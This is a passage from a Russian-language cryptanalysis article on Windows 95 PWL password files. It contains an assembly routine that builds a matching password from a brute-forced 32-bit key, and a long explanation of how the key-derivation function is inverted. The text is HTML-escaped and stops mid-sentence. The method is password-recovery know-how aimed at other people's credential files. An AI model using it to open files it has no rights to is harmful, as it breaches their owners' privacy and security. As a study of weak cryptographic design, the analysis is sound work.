/&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; INC&amp;#160; &amp;#160; &amp;#160;Masks[8]&amp;#160; &amp;#160; &amp;#160; &amp;#160; ;INC не меняет флага переноса&lt;br /&gt;@@1:&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; SBB&amp;#160; &amp;#160; &amp;#160;BX,CX&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;CX=0&lt;br /&gt;@@2:&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; SUB&amp;#160; &amp;#160; &amp;#160;AX,0010101000000000B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; SBB&amp;#160; &amp;#160; &amp;#160;DX,0100101010010101B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; SBB&amp;#160; &amp;#160; &amp;#160;AX,BX&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; SBB&amp;#160; &amp;#160; &amp;#160;DX,CX&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;CX=0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; SBB&amp;#160; &amp;#160; &amp;#160;AX,CX&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;CX=0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; MOV&amp;#160; &amp;#160; &amp;#160;SI,8&lt;br /&gt;Implant:&amp;#160; &amp;#160; &amp;#160; &amp;#160; MOV&amp;#160; &amp;#160; &amp;#160;BL,AL&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; AND&amp;#160; &amp;#160; &amp;#160;BL,Masks[SI]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; OR&amp;#160; &amp;#160; &amp;#160; Password[SI],BL&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; MOV&amp;#160; &amp;#160; &amp;#160;CL,32-7&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;CH=0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; CALL&amp;#160; &amp;#160; ROL_DW&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; DEC&amp;#160; &amp;#160; &amp;#160;SI&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; JNS&amp;#160; &amp;#160; &amp;#160;Implant&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;Цикл 9 раз&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; MOV&amp;#160; &amp;#160; &amp;#160;DX,OFFSET Password&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; MOV&amp;#160; &amp;#160; &amp;#160;AH,9&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;Вывод строки 9-й&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; INT&amp;#160; &amp;#160; &amp;#160;21h&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;функцией MS-DOS&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; POP&amp;#160; &amp;#160; &amp;#160;DS&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; RET&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; ;Подпрограмма вращает двойное слово DX:AX влево CX раз&lt;br /&gt;ROL_DW:&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;SHL&amp;#160; &amp;#160; &amp;#160;AX,1&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; RCL&amp;#160; &amp;#160; &amp;#160;DX,1&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ADC&amp;#160; &amp;#160; &amp;#160;AL,CH&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;CH=0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; LOOP&amp;#160; &amp;#160; ROL_DW&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; RET&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;На выходе CX=0&lt;/p&gt;
						&lt;p&gt;PassWord&amp;#160; &amp;#160; &amp;#160; &amp;#160; DB&amp;#160; &amp;#160; &amp;#160; 1000010B,1000010B,1000010B,1000010B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; DB&amp;#160; &amp;#160; &amp;#160; 1000000B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; DB&amp;#160; &amp;#160; &amp;#160; 1000000B,1000000B,1000000B,1000000B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; DB&amp;#160; &amp;#160; &amp;#160; &#039;$&#039;&lt;/p&gt;
						&lt;p&gt;Masks&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;DB&amp;#160; &amp;#160; &amp;#160; 0001101B,0001101B,0001101B,0001101B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; DB&amp;#160; &amp;#160; &amp;#160; 0001111B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; DB&amp;#160; &amp;#160; &amp;#160; 0010111B,0010111B,0010111B,?&lt;/p&gt;
						&lt;p&gt;PRINT_PASSWORD&amp;#160; ENDP&lt;/p&gt;
						&lt;p&gt;То,&amp;#160; что&amp;#160; множество&amp;#160; возможных&amp;#160; значений&amp;#160; ключей&amp;#160; много&amp;#160; меньше множества&lt;br /&gt;различных значений паролей, означает, что среднее время&amp;#160; необходимое&amp;#160; для&lt;br /&gt;расшифровки&amp;#160; чужого&amp;#160; PWL-файла можно значительно снизить, если перебирать&lt;br /&gt;не пароли, а ключи. Оптимизированная по быстродействию функция&amp;#160; алгоритма&lt;br /&gt;RC4&amp;#160; может&amp;#160; вычисляться&amp;#160; со&amp;#160; скоростью&amp;#160; 50000&amp;#160; crypt/sec на машине класса&lt;br /&gt;Pentium-166.&amp;#160; Если&amp;#160; вычислять&amp;#160; с&amp;#160; такой&amp;#160; скоростью,&amp;#160; то&amp;#160; 2^32&amp;#160; &amp;#160;вариантов&lt;br /&gt;перебираются&amp;#160; менее,&amp;#160; чем&amp;#160; за&amp;#160; сутки.&amp;#160; Подобрав&amp;#160; ключ, можно без перебора&lt;br /&gt;сгенерировать&amp;#160; подходящий&amp;#160; пароль.&amp;#160; Этот&amp;#160; алгоритм&amp;#160; реализован&amp;#160; &amp;#160;в&amp;#160; &amp;#160;моей&lt;br /&gt;программе&amp;#160; PWL_Key.&amp;#160; Таким образом вся система шифрования PWL-файла может&lt;br /&gt;ГАРАНТИРОВАННО вскрыта МЕНЕЕ, ЧЕМ ЗА СУТКИ !!!&lt;/p&gt;
						&lt;p&gt;Поскольку&amp;#160; Win95&amp;#160; не&amp;#160; ограничивает длину пароля снизу, то короткие пароли&lt;br /&gt;легко подбирает программа PWL_Hack Владимира Калашникова.&amp;#160; В&amp;#160; силу&amp;#160; того,&lt;br /&gt;что для Win95 существуют неразличимые пароли, PWL_Hack может, с некоторой&lt;br /&gt;долей&amp;#160; вероятности,&amp;#160; быстро&amp;#160; подобрать&amp;#160; короткий пароль-аналог, даже если&lt;br /&gt;настоящий&amp;#160; пароль&amp;#160; был достаточно длинным и не представлял собой слово из&lt;br /&gt;словаря. Отсюда следует, что собственно оценить слабым или&amp;#160; нет&amp;#160; является&lt;br /&gt;пароль,&amp;#160; по&amp;#160; его внешнему виду, в Win95, невозможно. И невозможны никакие&lt;br /&gt;рекомендации по выбору надежных паролей. Например,&amp;#160; достаточно&amp;#160; надежный,&lt;br /&gt;на&amp;#160; &amp;#160;первый&amp;#160; &amp;#160;взгляд,&amp;#160; пароль&amp;#160; &amp;quot;gfFo{CkL&amp;quot;&amp;#160; вообще&amp;#160; соответствует&amp;#160; полному&lt;br /&gt;отсутствию какого-бы то ни было пароля !&lt;/p&gt;
						&lt;p&gt;Криптосистема&amp;#160; Win95&amp;#160; производит&amp;#160; удручающее&amp;#160; впечатление,&amp;#160; прежде&amp;#160; всего&lt;br /&gt;нелепым&amp;#160; применением&amp;#160; криптоалгоритма&amp;#160; RC4.&amp;#160; Ведь&amp;#160; Glide&amp;#160; &amp;#160;расшифровывает&lt;br /&gt;приличные&amp;#160; куски или, иногда, даже весь PWL-файл, не перебирая варианты и&lt;br /&gt;даже НИ РАЗУ не вычисляя криптографической функции. Более того,&amp;#160; алгоритм&lt;br /&gt;программы&amp;#160; Glide&amp;#160; вообще&amp;#160; никак не зависит от способа генерации гаммы, то&lt;br /&gt;есть от RC4.&amp;#160; Надо же&amp;#160; умудриться&amp;#160; применить&amp;#160; криптоалгоритм&amp;#160; ТАК,&amp;#160; чтобы&lt;br /&gt;прочность&amp;#160; системы&amp;#160; шифрования от этого криптоалгоритма не зависела НИКАК&lt;br /&gt;!!! Именно поэтому RC4 здесь и не рассматривается.&amp;#160; Это&amp;#160; вполне&amp;#160; надежный&lt;br /&gt;криптоалгоритм, ну и что с того ? Криптосистема Win95 не может обеспечить&lt;br /&gt;даже&amp;#160; минимума&amp;#160; безопасности ! Вероятно, по принципу : раз Win95 - ОС для&lt;br /&gt;домохозяек, то и защита в ней тоже от домохозяек.&lt;/p&gt;
						&lt;p&gt;--------------------------------------------------------------------------------&lt;/p&gt;
						&lt;p&gt;Приложение, добавленное к статье по просьбам первых ее читателей&lt;br /&gt;с обьяснением моего алгоритма, синтезирующего пароль по ключу,&lt;br /&gt;но тем, кто не пишет программы сам, оно может быть не интересно&lt;br /&gt;Все люди,&amp;#160; которым&amp;#160; я&amp;#160; показывал&amp;#160; набросок&amp;#160; этой&amp;#160; статьи&amp;#160; советовали&amp;#160; мне&lt;br /&gt;переписать&amp;#160; мой&amp;#160; алгоритм&amp;#160; на Си, но, во первых, я не считаю Си признаком&lt;br /&gt;хорошего тона, а во вторых от этого ничего не стало бы понятнее.&amp;#160; Ну,&amp;#160; не&lt;br /&gt;выражается&amp;#160; этот&amp;#160; алгоритм&amp;#160; в&amp;#160; ПОНЯТИЯХ ЯЗЫКОВ ВЫСОКОГО УРОВНЯ ! Никак не&lt;br /&gt;выражается.&amp;#160; Все,&amp;#160; конечно,&amp;#160; допускает&amp;#160; имитацию,&amp;#160; но&amp;#160; &amp;#160;гораздо&amp;#160; полезнее&lt;br /&gt;попытаться&amp;#160; обьяснить смысл совершаемых операций, тем более, что алгоритм&lt;br /&gt;является&amp;#160; простейшим&amp;#160; примером&amp;#160; обращения&amp;#160; односторонней&amp;#160; &amp;#160;функции&amp;#160; &amp;#160;(так&lt;br /&gt;называемого&amp;#160; построения&amp;#160; коллизии&amp;#160; этой&amp;#160; функции).&amp;#160; Но&amp;#160; сначала&amp;#160; придется&lt;br /&gt;сделать&amp;#160; лирическое&amp;#160; отступление&amp;#160; об&amp;#160; односторонних&amp;#160; функциях&amp;#160; (one&amp;#160; &amp;#160;way&lt;br /&gt;functions) этого типа. Не вполне строгое, но помогающее ухватить суть.&lt;/p&gt;
						&lt;p&gt;Односторонняя&amp;#160; функция имеет обратную. Но если прямая функция вычисляется&lt;br /&gt;легко&amp;#160; (представима&amp;#160; в&amp;#160; виде&amp;#160; совокупности&amp;#160; элементарных&amp;#160; операций),&amp;#160; &amp;#160;то&lt;br /&gt;обратную&amp;#160; через&amp;#160; элементарные операции выразить невозможно или еще никому&lt;br /&gt;не удалось, т.е. она может быть представлена только в виде&amp;#160; таблицы.&amp;#160; Но,&lt;br /&gt;если&amp;#160; таблица требует астрономического количества записей (например 2^128&lt;br /&gt;~ 3*10^28 записей для 128-битной односторонней функции), то ее построение&lt;br /&gt;нереально. Тогда единственным способом вычислить эту функцию&amp;#160; в&amp;#160; обратную&lt;br /&gt;сторону&amp;#160; &amp;#160;для&amp;#160; &amp;#160;какого-то&amp;#160; &amp;#160;конкретного&amp;#160; значения&amp;#160; является&amp;#160; многократное&lt;br /&gt;вычисление&amp;#160; ее&amp;#160; в&amp;#160; прямую&amp;#160; сторону,&amp;#160; перебирая&amp;#160; все&amp;#160; возможные&amp;#160; &amp;#160;значения&lt;br /&gt;аргумента,&amp;#160; вплоть&amp;#160; до&amp;#160; совпадения&amp;#160; с этим значением. Этот метод перебора&lt;br /&gt;вариантов называется атака Brute force, т.е. штурм грубой силой. Но, если&lt;br /&gt;количество возможных вариантов астрономическое, то и время на этот&amp;#160; штурм&lt;br /&gt;требуется&amp;#160; соответствующее (например в среднем 2^128/10000/60/60/24/365/2&lt;br /&gt;~ 5*10^17 лет для 128-битной односторонней&amp;#160; функции,&amp;#160; вычисляемой&amp;#160; ЭВМ&amp;#160; в&lt;br /&gt;прямую&amp;#160; сторону 10000 раз в секунду). То есть односторонняя функция - это&lt;br /&gt;функция,&amp;#160; которая&amp;#160; имеет&amp;#160; обратную,&amp;#160; но&amp;#160; вычисление&amp;#160; обратной&amp;#160; лежит&amp;#160; &amp;#160;за&lt;br /&gt;пределами&amp;#160; &amp;#160;вычислительных&amp;#160; &amp;#160;возможностей,&amp;#160; хотя&amp;#160; в&amp;#160; прямую&amp;#160; сторону&amp;#160; она&lt;br /&gt;вычисляется легко и быстро. Каждый бит результата&amp;#160; односторонней&amp;#160; функции&lt;br /&gt;представляет&amp;#160; собой черезвычайно сложную логическую функцию от каждого из&lt;br /&gt;битов аргумента. Поэтому построение&amp;#160; коллизии&amp;#160; -&amp;#160; это&amp;#160; почти&amp;#160; безнадежная&lt;br /&gt;задача, решением которой можно гордиться.&lt;/p&gt;
						&lt;p&gt;Односторонние&amp;#160; функции&amp;#160; широко&amp;#160; применяются&amp;#160; в&amp;#160; системах&amp;#160; аутентификации.&lt;br /&gt;Пароли пользователей хранятся в виде результата применения к&amp;#160; нему&amp;#160; такой&lt;br /&gt;функции.&amp;#160; &amp;#160; Такой&amp;#160; &amp;#160;результат&amp;#160; &amp;#160;называется&amp;#160; &amp;#160;хешированным&amp;#160; &amp;#160;паролем&amp;#160; &amp;#160;или&lt;br /&gt;хеш-значением пароля (например второе поле файла /etc/passwd в Unix - это&lt;br /&gt;хеш, помещенный туда при последней смене пароля).&amp;#160; При&amp;#160; проверке&amp;#160; пароля,&lt;br /&gt;хеш-значение,&amp;#160; вычисляемое&amp;#160; от введенного пароля, сравнивается с хранимым&lt;br /&gt;хеш-значением от правильного пароля. При их совпадении&amp;#160; пароль&amp;#160; считается&lt;br /&gt;правильным.&amp;#160; Даже&amp;#160; если&amp;#160; хеш-значение удалось украсть, прямо вычислить из&lt;br /&gt;него пароль невозможно в силу односторонности его получения. Поэтому&amp;#160; все&lt;br /&gt;парольные&amp;#160; крякеры действуют, вычисляя хеш-функцию в лоб и тупо перебирая&lt;br /&gt;варианты паролей или пробуя слова из словаря. Но вот если бы&amp;#160; хеш-функцию&lt;br /&gt;удалось обратить ... :)&lt;/p&gt;
						&lt;p&gt;В&amp;#160; Win95&amp;#160; длина&amp;#160; ключа&amp;#160; выбрана малой - 32 бита. Поэтому возможен быстрый&lt;br /&gt;подбор правильного ключа перебором вариантов. Если бы ключ&amp;#160; получался&amp;#160; из&lt;br /&gt;пароля&amp;#160; хорошей односторонней функцией, то вычислить правильный пароль из&lt;br /&gt;правильного ключа было бы невозможно, иначе&amp;#160; как&amp;#160; полным&amp;#160; перебором&amp;#160; всех&lt;br /&gt;паролей.&amp;#160; Но&amp;#160; функция получения ключа ИЗЛИШНЕ ПРОСТА, чтобы не попытаться&lt;br /&gt;построить ей&amp;#160; обратную.&amp;#160; Если&amp;#160; это&amp;#160; удастся,&amp;#160; то&amp;#160; можно&amp;#160; будет&amp;#160; вычислять&lt;br /&gt;подходящий пароль сразу после быстрого подбора правильного ключа.&lt;/p&gt;
						&lt;p&gt;Посмотрим,&amp;#160; как&amp;#160; влияют&amp;#160; биты&amp;#160; символов&amp;#160; пароля&amp;#160; на&amp;#160; биты&amp;#160; ключа&amp;#160; при его&lt;br /&gt;формировании. (для простоты забудем о русских буквах&amp;#160; в&amp;#160; пароле&amp;#160; и&amp;#160; будем&lt;br /&gt;считать его символы 7-битными).&lt;/p&gt;
						&lt;p&gt;0000 0000 0000 0000 0000 0000 0000 0000 - пустой пароль&lt;br /&gt;0000 0000 0001 1111 1100 0000 0000 0000 - 1-символьный пароль&lt;br /&gt;0000 1111 1112 2222 2200 0000 0000 0000 - 2-символьный пароль&lt;br /&gt;1111 2222 2223 3333 3300 0000 0000 0111 - 3-символьный пароль&lt;br /&gt;2222 3333 3334 4444 4400 0011 1111 1222 - 4-символьный пароль&lt;br /&gt;(здесь&amp;#160; ненулевыми&amp;#160; цифрами&amp;#160; обозначены&amp;#160; биты соответствующего символа, а&lt;br /&gt;нулями - нулевые биты)&lt;br /&gt;Пока биты просто вставляются в ключ и друг на друга не влияют.&lt;/p&gt;
						&lt;p&gt;Но&amp;#160; &amp;#160;дальше&amp;#160; биты&amp;#160; начинают&amp;#160; накладываться&amp;#160; друг&amp;#160; на&amp;#160; друга&amp;#160; сложением&amp;#160; и&lt;br /&gt;взаимовлиять друг на друга.&lt;/p&gt;
						&lt;p&gt;3333 4444 4445 5551 1111 1122 2222 2333 - 5-символьный пароль&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; 5 55&lt;/p&gt;
						&lt;p&gt;4444 5555 1111 1112 2222 2233 3333 3444 - 6-символьный пароль&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; 5556 6666 66&lt;/p&gt;
						&lt;p&gt;5111 1111 2222 2223 3333 3344 4444 4555 - 7-символьный пароль&lt;br /&gt; 555 6666 6667 7777 77&lt;/p&gt;
						&lt;p&gt;1222 2222 3333 3334 4444 4455 5511 1111 - 8-символьный пароль&lt;br /&gt;6666 7777 7778 8888 88&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; 55 5666&lt;/p&gt;
						&lt;p&gt;2333 3333 4444 4445 5551 1111 1122 2222 - 9-символьный пароль&lt;br /&gt;7777 8888 8889 9999 99 5 5566 6666 6777&lt;/p&gt;
						&lt;p&gt;Для удобства рассуждений повернем ключ от&amp;#160; 9-символьного&amp;#160; пароля&amp;#160; 14&amp;#160; раз&lt;br /&gt;вправо - вот так :&lt;br /&gt;5111 1111 2222 2223 3333 3344 4444 4555&lt;br /&gt; 555 6666 6667 7777 7788 8888 8999 9999&lt;/p&gt;
						&lt;p&gt;Все&amp;#160; &amp;#160;биты&amp;#160; ключа&amp;#160; от&amp;#160; 9-символьного&amp;#160; пароля,&amp;#160; за&amp;#160; исключением&amp;#160; старшего,&lt;br /&gt;получаются как результат&amp;#160; сложения&amp;#160; двух&amp;#160; бит&amp;#160; от&amp;#160; разных&amp;#160; символов&amp;#160; плюс&lt;br /&gt;переносы&amp;#160; от&amp;#160; предыдущих&amp;#160; разрядов. А что если фиксировать некоторые биты&lt;br /&gt;символов пароля так, чтобы эти символы заведомо были латинскими буквами в&lt;br /&gt;верхнем регистре ? Например так :&lt;/p&gt;
						&lt;p&gt;-100 --1- 100- -1-1 00-- 1-10 0--1 -100&lt;br /&gt; --- 10-0 ---1 0-0- --10 -0-- -10- 0---&lt;br /&gt;(здесь 0 и 1 - нулевые и единичные биты)&lt;/p&gt;
						&lt;p&gt;За счет фиксированных бит символы пароля смогут быть только такими :&lt;br /&gt;1-4 символ&amp;#160; 100--1-&amp;#160; BCFGJKNO&lt;br /&gt;5 символ&amp;#160; &amp;#160; 100----&amp;#160; @ABCDEFGHIJKLMNO&lt;br /&gt;6-9 символ&amp;#160; 10-0---&amp;#160; @ABCDEFGPQRSTUVW&lt;br /&gt;&amp;#160; (от использования &amp;quot;@&amp;quot; мне избавиться не удалось). :(&lt;/p&gt;
						&lt;p&gt;Варьируя 32 остальных бита символов пароля, мы сможем получить&amp;#160; любые&amp;#160; 32&lt;br /&gt;бита&amp;#160; ключа,&amp;#160; т.к. каждому биту ключа мы сопоставили один ФИКСИРОВАННЫЙ и&lt;br /&gt;один ВАРЬИРУЕМЫЙ бит, т.е. оставили&amp;#160; для&amp;#160; каждого&amp;#160; бита&amp;#160; ключа&amp;#160; по&amp;#160; ОДНОЙ&lt;br /&gt;СТЕПЕНИ&amp;#160; &amp;#160;СВОБОДЫ.&amp;#160; &amp;#160;Это&amp;#160; &amp;#160;предположение,&amp;#160; &amp;#160;как&amp;#160; оказалось&amp;#160; на&amp;#160; практике,&lt;br /&gt;выполняется с одним исключением - две комбинации варьируемых бит&amp;#160; рождают&lt;br /&gt;один и тот-же ключ, а для ключа 0015:0000 подходящей комбинации вообще не&lt;br /&gt;находится.&amp;#160; Пришлось&amp;#160; подобрать&amp;#160; для&amp;#160; него&amp;#160; подходящий пароль &amp;quot;GGGOKCCCX&amp;quot;&lt;br /&gt;вручную.&lt;/p&gt;
						&lt;p&gt;Прибавление каждого кода символа пароля к ключу можно&amp;#160; считать&amp;#160; состоящим&lt;br /&gt;из&amp;#160; двух&amp;#160; сложений : фиксированных бит и вырьируемых бит. Тогда, вычтя из&lt;br /&gt;ключа фиксированные биты, мы получим&amp;#160; варьируемые&amp;#160; и&amp;#160; соберем&amp;#160; пароль&amp;#160; из&lt;br /&gt;конкретных символов (из множества &amp;quot;@ABCDEFGJKNOPQRSTUVWX&amp;quot;).&lt;/p&gt;
						&lt;p&gt;Беда&amp;#160; в&amp;#160; том,&amp;#160; что&amp;#160; при&amp;#160; формировании&amp;#160; ключа помимо сложения используется&lt;br /&gt;операция вращения. Постараемся&amp;#160; от&amp;#160; нее&amp;#160; избавиться,&amp;#160; чтобы&amp;#160; формирование&lt;br /&gt;ключа выглядело как совокупность одних сложений. Можно перестать думать о&lt;br /&gt;вращениях, если ввести совершенно безумное понятие КОЛЬЦЕВОГО ЧИСЛА, т.е.&lt;br /&gt;последовательности&amp;#160; бит,&amp;#160; завернутой&amp;#160; в&amp;#160; колечко. Прибавление константы к&lt;br /&gt;кольцевому числу будет выглядеть так :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; ADD&amp;#160; &amp;#160; &amp;#160;EAX,Constant&amp;#160; &amp;#160; ;кольцевое сложение -&amp;#160; &amp;quot;ADD + ADC&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; ADC&amp;#160; &amp;#160; &amp;#160;EAX,0&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;благодаря команде &amp;quot;ADC ноль&amp;quot; перенос&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;перелетает из конца в начало числа&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;перенос не может уйти еще на один&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;круг, поэтому одного ADC достаточно&lt;br /&gt;Колечко можно считать неподвижным, а биты символов пароля перед сложением&lt;br /&gt;сдвигать на соответствующие места.&lt;/p&gt;
						&lt;p&gt;При попытке разобраться в свойствах этих битовых&amp;#160; колечек,&amp;#160; обнаружилось,&lt;br /&gt;что&amp;#160; &amp;#160;0(кольцевое)&amp;#160; &amp;#160;+&amp;#160; &amp;#160;1&amp;#160; &amp;#160;=&amp;#160; &amp;#160;1(кольцевое),&amp;#160; &amp;#160;но&amp;#160; &amp;#160;с&amp;#160; &amp;#160;другой&amp;#160; стороны&lt;br /&gt;FFFFFFFF(кольцевое) + 1 = 1(кольцевое) тоже !!! После такого&amp;#160; открытия&amp;#160; у&lt;br /&gt;автора&amp;#160; этих&amp;#160; строк&amp;#160; медленно&amp;#160; поехала&amp;#160; крыша и только этим состоянием он&lt;br /&gt;может&amp;#160; обьяснить&amp;#160; успешный&amp;#160; результат.&amp;#160; Во&amp;#160; всяком&amp;#160; &amp;#160;случае,&amp;#160; &amp;#160;дальнейшие&lt;br /&gt;рассуждения носят явно нездоровый характер :)&lt;/p&gt;
						&lt;p&gt;Пусть&amp;#160; вначале&amp;#160; было&amp;#160; кольцо&amp;#160; из&amp;#160; 32-х нулевых бит. Тогда коды первых 7-и&lt;br /&gt;символов пароля будут прибавлены к этому кольцу кольцевым сложением, если&lt;br /&gt;их биты предварительно сдвинуть на соответствующие позиции вот так :&lt;br /&gt;5111 1111 2222 2223 3333 3344 4444 4555&lt;br /&gt; 555 6666 6667 7777 77&lt;/p&gt;
						&lt;p&gt;Но, при прибавлениях 8 и 9-го символов (и только&amp;#160; при&amp;#160; них&amp;#160; -&amp;#160; это&amp;#160; можно&lt;br /&gt;доказать) возможен перенос за пределы двойного слова, который теряется. В&lt;br /&gt;колечке&amp;#160; появляется&amp;#160; разрыв.&amp;#160; Чтобы учесть это обстоятельство, представим&lt;br /&gt;себе кольцевое число с&amp;#160; ловушкой&amp;#160; для&amp;#160; переноса.&amp;#160; Пусть&amp;#160; между&amp;#160; какими-то&lt;br /&gt;битами кольцевого числа расположена ловушка. Если в нее попадает перенос,&lt;br /&gt;то&amp;#160; он гибнет и далее не распространяется. Пусть такой перенос называется&lt;br /&gt;RIP-переносом&amp;#160; (светлая&amp;#160; ему&amp;#160; память).&amp;#160; :)&amp;#160; Тогда&amp;#160; восьмой&amp;#160; символ&amp;#160; будет&lt;br /&gt;добавлен к ключу кольцевым сложением, если ловушка расположена между 6-ым&lt;br /&gt;и 7-ым битами, а биты символа предварительно сдвинуты так :&lt;br /&gt;0000 0000 0000 0000 0088 8888 8000 0000&lt;br /&gt;Девятый&amp;#160; символ&amp;#160; будет&amp;#160; добавлен обычным сложением, которое можно считать&lt;br /&gt;кольцевым, если ловушка расположена между 31-ым и 0-ым&amp;#160; битами&amp;#160; (там&amp;#160; где&lt;br /&gt;двойное слово склеивается в кольцо), а биты символа никак не сдвинуты :&lt;br /&gt;0000 0000 0000 0000 0000 0000 0999 9999&lt;/p&gt;
						&lt;p&gt;Но, попадание переносов в ловушки можно рассматривать, как особый случай.&lt;br /&gt;В&amp;#160; &amp;#160;итоге&amp;#160; &amp;#160;можно&amp;#160; &amp;#160;свести&amp;#160; весь&amp;#160; алгоритм&amp;#160; формирования&amp;#160; ключа&amp;#160; к&amp;#160; ОДНОЙ&lt;br /&gt;ЕДИНСТВЕННОЙ ОПЕРАЦИИ КОЛЬЦЕВОГО СЛОЖЕНИЯ ПРЕДВАРИТЕЛЬНО СДВИНУТЫХ&amp;#160; БИТОВ&lt;br /&gt;СИМВОЛОВ ПАРОЛЯ с особым случаем, когда за счет гибели переноса результат&lt;br /&gt;кольцевого&amp;#160; сложения&amp;#160; нужно&amp;#160; будет слегка подправить. Обратным КОЛЬЦЕВОМУ&lt;br /&gt;СЛОЖЕНИЮ (ADD + ADC ноль) будет, разумеется, являться&amp;#160; столь-же&amp;#160; безумное&lt;br /&gt;КОЛЬЦЕВОЕ&amp;#160; &amp;#160;ВЫЧИТАНИЕ&amp;#160; (SUB&amp;#160; +&amp;#160; SBB ноль).&amp;#160; &amp;#160;Таким&amp;#160; образом,&amp;#160; у&amp;#160; 